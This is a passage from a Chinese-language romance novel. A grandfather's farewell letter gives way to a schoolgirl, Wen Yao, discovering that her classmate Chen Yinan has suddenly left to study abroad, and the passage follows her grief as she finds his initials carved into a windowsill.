所以南南,外公想和你说,想去做什么就去做什么,不要管旁人。人生短暂,外公永远支持你追求自己的梦想,哪怕是你母亲如今还依旧在世,也一定会支持你。
只可惜,外公的身体不好,只怕是等不到见你娶妻生子了。若是可以,就领着你喜欢的姑娘去我墓前陪我说说话,也算是聊我一桩心愿了。
南南,今后的路外公不能陪你走了。只愿我们南南未来,平安康健,幸福一生。】
强撑了一晚上的人,终是在此时哭出了声,他抱着信纸,将最脆弱的一面留给了寂静夜色。
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周一开学,温窈像往常一样骑车去学校。经过两天时间舒缓,她的心情平稳了许多。
她放好车子后走进教室,准备开始清晨时分的早读,刚翻开书,就见江枫跟在林见月和虞眠身后走了进来。
“欸?你俩能联系到陈翊南吗?奇怪,我去他家里敲门也没人开门。”他问。
林见月拿出手机给他看,“没有,南哥没回过我的消息。”
“我也是。”虞眠在他眼前晃了晃手机。
三人坐到位置
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上,江枫轻啧一声:“这是怎么了?”
林见月偏头问道:“窈儿呢,南哥有回你消息吗?”
温窈愣了下,自从那天过后,她就没给他发过消息。半晌后,她摇摇头,撒谎说了没有。
江枫摸着下巴说道:“行吧,那我一会下课后去找他。”
不成想,课间时江枫刚出去没多久,又急匆匆的跑了回来。
“我靠我靠,怎么个事,陈翊南桌子干干净净,一本书都没有了。”江枫脸色慌张。
虞眠冷静道:“你别急。今天陈翊南在班里有没有调换位置?”
“没有啊,”江枫一摊手,“我问他同桌了,他同桌说他来的时候桌子就已经干干净净了。而且,他早上也没见陈翊南来。”
温窈攥着书页的手攸然一紧,心底有什么东西一滑而过,似乎她怎么抓也住不住,这种无助失落的感觉令她害怕极了。
三人就看见温窈蹭地站起,接着又跑出了教室门。
“这是……”江枫疑惑道。
等站到办公室门口,温窈才陡然回神,她的手还扶在门把手上,半刻后,门终是被她打开,老罗的声音也在此时传了出来。
“对,陈翊南那小子昨天走的,国外留学去了。”
温窈僵在原地。
方媛问:“怎么这么突然?”
老罗的声音不似之前欢快,甚至有些沙哑:“宋老师去世了,对陈翊南这孩子打击挺大的。因为宋老师的遗言,这孩子决定了去国外顶尖医学院求学的决心。”
方媛不知道宋老师去世的消息,安静了一瞬,随即伸手拍了拍老罗肩膀,“节哀顺变。”
温窈呼吸一滞,只觉脑袋木的发胀。
方媛一转身看见了她,问道:“怎么了,温窈?”
“老师,我身体有点不舒服,想去医务室看看。”她的指尖掐的掌心生疼,可这些痛意却比不上心底分毫。
温窈朝外跑去,脚步停在理科一班门口,她看了眼陈翊南所坐的位置。干净,从桌面到桌洞,无一例外的干净。
刺眼的日光晒到她额角,世界在她眼中天旋地转,不知不觉中,她已经走到了顶楼的杂货间。
门被打开,尘土飞扬,靠窗边摆好的桌椅上却只落下了一层轻薄的灰尘,似乎昭示着她与陈翊南在这里消磨时间的痕迹。
可惜,物是人非,他已经不在了。
巨大的疲惫席卷全身,温窈再也支撑不住,踉跄着坐在了椅子上。一向喜净的人,这次却连椅子都忘了擦。
脑袋仍旧晕乎乎的,她从口袋里拿出一根葡萄味棒棒糖,将外皮剥开后颤着手送进了嘴里。明明是甜甜的葡萄味,此刻却越吃越咸。
好难吃。
终于,她闭上眼睛,任由大颗大颗的泪珠从眼角滑落。
时间过了好久好久,久到上下课的铃声打了一遍又一遍。女孩埋在双膝间的头才悄然抬起,她伸出手向着窗台摸去。
累积的灰尘被她用手轻轻拂去,露出了石灰台面上的几道刻痕,是一串大写字母:CYN。
温窈抚摸着刻痕,低头苦涩一笑。
人生总是充满别离,她知道的。
她难过的是,他们还没有机会好好说再见。
陈翊南,我们还没有好好说过再见啊。